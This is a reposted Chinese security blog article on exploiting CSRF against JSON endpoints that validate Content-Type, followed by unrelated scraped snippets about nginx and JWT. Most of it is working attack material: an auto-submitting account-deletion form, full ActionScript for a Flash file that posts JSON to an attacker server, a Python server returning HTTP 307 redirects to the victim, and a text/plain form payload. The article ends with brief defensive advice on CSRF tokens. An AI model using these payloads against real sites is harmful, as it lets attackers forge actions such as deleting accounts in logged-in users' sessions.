服务的校验Content-Type,只接收application/json格式的CSRF绕过方法

article/2025/10/16 14:37:42

如何在JSON端点上利用CSRF漏洞

转载自:https://www.freebuf.com/articles/web/164234.html

Alpha_h4ck

1.png

(CSRF + Flash + HTTP 307)=别说了,你已经“死”了!

如果你想通过第三方攻击者控制的服务器在JSON端点利用一个CSRF漏洞的话,我给大家推荐一个名叫json-flash-csrf-poc的GitHub项目【下载地址】。

背景故事

在近期的一次渗透测试过程中,我们不仅发现了几个业务逻辑漏洞、XSS漏洞以及不安全的直接对象引用漏洞,而且还发现了一些跨站请求伪造(CSRF)漏洞。在我们所发现的漏洞中,有一个存在于JSON端点中的CSRF漏洞,这个端点可以接收JSON格式的POST body。如果要利用这个漏洞的话,我们需要发送自定义Content-Type头并附带POST body,但标准的JavaScript/HTML不支持这种类型的请求。在使用XMLHttpRequest时,按照CORS规范,自定义Header将调用一个预检请求。接下来在这篇文章中,我们将告诉大家如何来利用这个CSRF漏洞。

利用CSRF漏洞时遇到的问题

CSRF漏洞对于攻击者来说,作用是非常大的。如果一个网站存在CSRF漏洞,那么无论请求的来源是哪,该漏洞都可以自动利用浏览器的功能来发送认证令牌,而且服务器和应用程序默认情况下并不会区分请求的来源。

比如说,下面这个简单的PoC利用的就是CSRF漏洞,它可以通过一个POST表单来调用账号删除功能:

 

<html><body onload=myform.submit()><form action="/userdelete"method="POST" name="myform"><input type="hidden"id="acctnum" name="acctnum" value="100"><input type="hidden"id="confirm" name="confirm" value="true"></form></body>
</html>

 

当一个已登录的用户浏览这个恶意页面时(使用同一浏览器,且认证会话处于活跃状态),该页面将会通过一个POST请求来触发该功能。由于浏览器默认会发送认证令牌,该功能将会在服务器端被触发,并完成攻击。

需要注意的是,该请求中的Content-Type头被设置成了application/x-www-form-urlencoded,因为服务器需要接收URL编码后的HTML表单数据。

那我们为何不能使用这个PoC来利用JSON端点中的CSRF呢?原因如下:

1.   POSTbody需要以JSON格式发送,而这种格式如果用HTML表单元素来构建的话会比较麻烦。

2.   Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests,而它还会向服务器端发送OPTIONS预检请求。

Flash和重定向

AdobeFlash可以让Web页面向用户请求使用ActionScript,而ActionScript同样可以用来设置Web请求的自定义Header。除非远程站点上存在有效的crossdomain.xml文件,否则Flash不会向不同来源的服务器发送带有自定义Header的请求。

为了完全避免跨域文件的影响,我们使用Flash来向Flash文件所在的同一服务器发送请求(带有我们的POST Payload),并获取另一份文件。这个文件将作为重定向器并发送HTTP状态码307。307跟其他3XX HTTP状态码之间的区别就在于,HTTP 307可以确保重定向请求发送之后,请求方法和请求主体不会发生任何改变。HTTP 307会将POST body和HTTP头重定向到我们所指定的最终URL,并完成攻击。

内容整合

为了设计出最终的PoC,我们先来看一看存在漏洞的JSON端点和相关要求:

1.   /userdelete端点所能接受的请求Header需要是application/json。

2.   存在漏洞的端点需要发送下列JSON数据:

 

{"acctnum":"100","confirm":"true"}

攻击者设置

攻击者的服务器由以下组件和通信流组成:

1.   当目标用户在浏览器中下载并运行了攻击者所托管的Flash文件后,恶意文件将会向攻击者的服务器(重定向器)发送HTTP POST请求。

2.   重定向器脚本会在响应信息(Location头)中返回一个HTTP 307状态码。

3.   接下来,目标用户的浏览器会像最终的URL发送另一个带有HTTP头的POST请求,并完成攻击。

2.png

创建csrf.swf文件

为了创建能够发送Web请求的csrf.swf文件,我们需要按照以下步骤操作:

1.   安装FlexSDK将ActionScript编译为swf文件。Flex需要安装32位的JVM,这一步可以安装32位JDK来完成。

2.   创建一个包含下列ActionScript代码的text文件,文件名为csrf.as。

3.   获取托管Flash文件的主机系统(攻击者的服务器)IP地址/域名,并替换掉代码中的<attacker-ip>。

4.   运行“mxmlc csrf.as”命令,将该文件编译为csrf.swf。

 

package
{import flash.display.Sprite;import flash.net.URLLoader;import flash.net.URLRequest;import flash.net.URLRequestHeader;import flash.net.URLRequestMethod;
public class csrf extends Sprite{public function csrf(){super();var member1:Object = null;var myJson:String = null;member1 = new Object();member1 = {"acctnum":"100","confirm":"true"};var myData:Object = member1;myJson = JSON.stringify(myData);myJson = JSON.stringify(myData);var url:String ="http://attacker-ip:8000/";var request:URLRequest = newURLRequest(url);request.requestHeaders.push(newURLRequestHeader("Content- Type","application/json"));request.data = myJson;request.method = URLRequestMethod.POST;var urlLoader:URLLoader = newURLLoader();
try{urlLoader.load(request);return;}catch(e:Error){trace(e);return;}}}
}

 

创建Web服务器

服务器的基本功能就是托管csrf.swf文件,并且在收到其他HTTP流量时发送307重定向,我们可以使用Python的BaseHTTPServer模块来实现。

1.   创建一个包含了下列代码的Python文件,文件名为pyserver.py。

2.   这份Python代码就是我们托管csrf.swf的Web服务器,它可以向http://victim-site/userdelete端点发送HTTP 307重定向。

3.   通过命令“python pyserver.py”运行Web服务器。

 

import BaseHTTPServer
import time
import sysHOST= '' 
PORT= 8000classRedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):def do_POST(s):if s.path == '/csrf.swf':s.send_response(200)s.send_header("Content-Type","application/x-shockwave-flash")s.end_headers()s.wfile.write(open("csrf.swf","rb").read())return s.send_response(307)s.send_header("Location","http://victim-site/userdelete")s.end_headers()def do_GET(s):print(s.path)s.do_POST()if__name__ == '__main__':server_class = BaseHTTPServer.HTTPServerhttpd = server_class((HOST,PORT),RedirectHandler)print time.asctime(),"Server Starts -%s:%s" % (HOST,PORT)try:httpd.serve_forever()except KeyboardInterrupt:passhttpd.server_close()print time.asctime(),"Server Stops -%s:%s" % (HOST,PORT)

 

注:我们在创建这个HTTP重定向服务器时,参考了这个【GitHub库】的代码。

PoC工作流程

下面给出的是攻击的整个过程,其中目标用户的浏览器必须启用Flash:

1.   用户在浏览器中登录http://victim-site/。

2.   用户被重定向到http://attacker-ip:8000/csrf.swf。

3.   Flash文件加载成功,并向http://attacker-ip:8000/发送带有自定义Header的POST Payload。

4.   攻击者的服务器发送HTTP 307重定向,这样便能让POST响应body和自定义HTTP头按原样发送到 http://victim-site/。

5.   目标用户刷新自己的 http://victim-site/ 页面,并发现自己的帐户已经被删除了。

其他的想法

这里我们必须要使用到一份Flash文件以及307重定向器,因为服务器端会验证请求的Content-Type是否为application/json。如果服务器没有进行这种检测,那我们就可以利用JavaScript来创建一个HTTP元素属性,并用下面的代码生成和发送POST请求:

 

<html><body><script src=" https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<form id="myform" enctype="text/plain"action="https://victim-site/userdelete" method="POST"><input id="json"type="hidden" name='json' value='test"}'></form>
<script>$(document).ready(function() {$("#json").attr("name",'{"acctnum":"100","confirm":"true","a":"');$("#myform").submit();});</script>
</body>
</html>

 

当然了,你也可以使用Fetch_API来发送JSON POST请求并完成攻击。

总结

CSRF漏洞其实是非常危险的,某些开发人员会通过设置Content-Type来实现必要的安全保护,但是大家可以从本文中了解到,这种方法是可以轻松绕过的。

实际上这就跟开发应用程序是一样的,即“所有的用户输入都是不可信的”。开发人员不应该仅凭请求头、源地址或referer来决定服务器端的运行策略。正确的CSRF防御方法,就是在请求中使用强度足够高的随机令牌,这样一来,服务器端就可以确定请求发送方的真实身份了。除此之外,应用程序中的任何XSS漏洞都可以被攻击者所利用并绕过CSRF保护,因为攻击者可以利用


http://chatgpt.dhexx.cn/article/I9P43XkG.shtml

相关文章

nginx 限流,以及nginx直接返回json格式数据

高并发系统有三把利器用来保护系统&#xff1a;缓存、降级和限流 今天我们这里说说限流。一般会在应用层配合redis做限流策略&#xff0c;这里我们聊聊nginx层限流。 限流的目的是通过对并发访问/请求进行限速或者一个时间窗口内的的请求进行限速来保护系统&#xff0c;一旦达…

JWT-JSON Web令牌的深入介绍

JWT-JSON Web令牌的深入介绍 从桌面应用程序到Web应用程序或移动应用程序&#xff0c;身份验证是几乎所有应用程序中最重要的部分之一。 本教程是JWT&#xff08;JSON Web令牌&#xff09;的深入介绍&#xff0c;可帮助您了解&#xff1a; 基于会话的身份验证与基于令牌的身份…

JSON Web Token原理深入理解

什么是JWT JWT全称Json Web Token&#xff0c;翻译为JSON格式的网络令牌&#xff0c;很多时候又简称为Token(JWT是Token的一种实现方式)。它要解决的问题&#xff0c;就是为多种终端设备&#xff0c;提供统一的、安全的令牌格式。因此&#xff0c;JWT只是一个令牌格式而已&…

【JWT】jwt令牌研究

一、JWT介绍 在介绍JWT之前先看一下传统校验令牌的方法&#xff0c;如下图&#xff1a; 问题&#xff1a; 传统授权方法的问题是用户每次请求资源服务&#xff0c;资源服务都需要携带令牌访问认证服务去校验令牌的合法性&#xff0c;并根据令牌获取用户的相关信息&#xff0c…

JWT令牌验证

JWT令牌验证 jwt的由来及解决的问题JWT的工作原理JWT组成重点&#xff1a;JWT实现验证&#xff1a;4.1 首先前后端跨域配置&#xff1a;4.2 jwt配置&#xff1a;4.3 web.xml配置&#xff1a;4.4 登录成功时生成jwt令牌前端NodeJs服务器配置拦截器&#xff0c;配置在http目录下4…

如何使用JSON Web令牌(JWT)保护您的文档

如何使用JSON Web令牌&#xff08;JWT&#xff09;保护您的文档 在本文中&#xff0c;我们讲解如何使用JSON网络令牌JWT来保护在线文档免受未经授权的访问&#xff0c;从而可以更安全的把在线文档编辑器开发集成进您自己的网络应用中去。 这里将集成开源的办公套件ONLYOFFICE …

day13 SpringBoot案例3 令牌技术、登录校验

登录校验的实现思路是怎样的&#xff1f; 项目中访问核心资源&#xff0c;通常都要进行登录校验&#xff0c;访问京东商城的订单&#xff0c;必须要先登录才能访问查询 实现思路: 可以在访问资源前进行访问的拦截&#xff0c;判断你当前会话是否有登录&#xff0c;如果没有登…

pythonjson数据解析失败_json解析失败是什么意思

因为代码的不美观等因素&#xff0c;我们会使用一些解析工具进行处理&#xff0c;有些人在解析时出现了报错。解析失败需要考虑多方面的因素&#xff0c;如格式、String类型、boolean类型等原因&#xff0c;在格式上分为格式错误和格式正确两种讨论。下面就json解析失败的原因为…

Java Web Token令牌校验

前言&#xff1a;本文只涉及JWT的理论部分&#xff0c;不涉及代码 传统的用户校验可以结合cookiesession来实现&#xff0c;但是校验信息存放在服务端&#xff0c;当用户过多时会给服务器造成太大的压力&#xff0c;所以我们可以使用token进行校验&#xff0c;将用户信息加以签…

JWT令牌生成与校验

目录 1 JWT介绍1.1 什么是JWT&#xff1f;1.2 JWT令牌结构 2 配置JWT令牌服务3 生成JWT令牌4 校验JWT令牌5 JWT整合Spring Security5.1 创建表 6 配置授权服务6.1 测试 1 JWT介绍 通过上边的测试我们发现&#xff0c;当资源服务和授权服务不在一起时资源服务使用RemoteTokenSe…

信息系统基础知识(笔记)

一、信息 1.1、信息的基本概念 信息就是信息&#xff0c;既不是物质们也不是论量&#xff0c;信息是能够用来消除不确定的东西 两个概念层次&#xff1a;本体论&#xff08;客观层&#xff0c;与课客体本身因素相关&#xff0c;与主题因素无关&#xff09; 认知论&#xff0…

计算机毕业论文内容参考|基于大数据的信息物理融合系统的分析与设计方法

文章目录 导文摘要前言绪论课题背景国内外现状与趋势:课题内容:相关技术与方法介绍:系统架构设计:数据采集与处理:数据存储与管理:数据分析与挖掘:系统优化与调试:应用场景:挑战与机遇:研究方向:系统分析:系统设计:系统实现:系统测试:总结与展望:

工业4.0中的人-信息-物理系统集成(HSI):设计与评估方法

于栖洋 译 摘要:本文概述了工业4.0中集成人和信息物理系统的设计和使用空间&#xff0c;特别关注分析、设计和评估方法和阶段的相互作用。本文首先介绍了工业4.0面临的挑战&#xff0c;综述了现有的系统设计方法&#xff0c;描述了方法模型的设计和使用空间&#xff0c;并以工…

信息系统基本知识(六)

大纲 信息系统与信息化信息系统开发方法常规信息系统集成技术软件工程新一代信息技术信息系统安全技术信息化发展与应用信息系统服务管理信息系统服务规划企业首席信息管及其责任 1.7 信息化发展与应用 我国在“十三五”规划纲要中&#xff0c;将培育人工智能、移动智能终端…

Unity物理系统(一)物理系统相关组件

一、物理系统相关组件 Unity中的物理系统涉及的组件分为如下几类&#xff1a; 刚体角色控制器碰撞体布料关节力场 二、刚体&#xff08;Rigidbody&#xff09; Rigidbody&#xff08;刚体&#xff09;组件可以使游戏对象在物理系统的控制下进行运动&#xff0c;Rigidbody …

工业信息物理系统测试验证平台(ETest_CPS)

1.产品简介 ETest_CPS是基于ETest Studio开发出的工业信息物理系统测试验证平台&#xff08;Embedded System Test Studiofor Cyber-Physical System,简称&#xff1a;ETest_CPS&#xff09;。ETest_CPS由软件和硬件组成&#xff0c;软件采用ETest&#xff0c;硬件包括测试机柜…

信息化与信息系统5

信息系统规划 大型信息系统的特点 考点&#xff1a; 具体包括以下6点&#xff1a; 规模庞大&#xff0c;跨地域性&#xff0c;网络结构复杂&#xff0c;业务种类多&#xff0c;数量大&#xff0c;用户多。 信息系统规划方法 规划流程 1. 分析企业信息化的现状 2. 制定企…

信息物理社会融合系统:一种以数据为中心的框架

信息物理社会融合系统&#xff1a;一种以数据为中心的框架 翟书颖1, 郭斌2, 李茹1, 王庭良1, 於志文2, 周兴社2 1. 西北工业大学明德学院&#xff0c;陕西 西安 710129 2. 西北工业大学计算机学院&#xff0c;陕西 西安 710129 摘要&#xff1a;信息物理社会融合系统连接信息空…

ETest_CPS——工业信息物理系统测试验证平台

1&#xff09;产品简介 ETest_CPS是一款工业信息物理系统测试验证平台&#xff08;Embedded System Test Studio for Cyber-Physical System,简称&#xff1a;ETest_CPS&#xff09;。ETest_CPS由软件和硬件组成&#xff0c;软件采用ETest&#xff0c;硬件包括测试机柜、测试主…

信息物理系统-Rijndael加密算法的实现

信息物理系统-Rijndael加密算法的实现&#xff1a; 概述&#xff1a; AES标准的Rijndael算法是一种分组加密算法&#xff0c;本次实验通过PtolemyII软件&#xff0c;实现了明文长度为128位&#xff0c;密钥长度为128位的Rijndael加密算法。 实验的完成采取自底向上的&#x…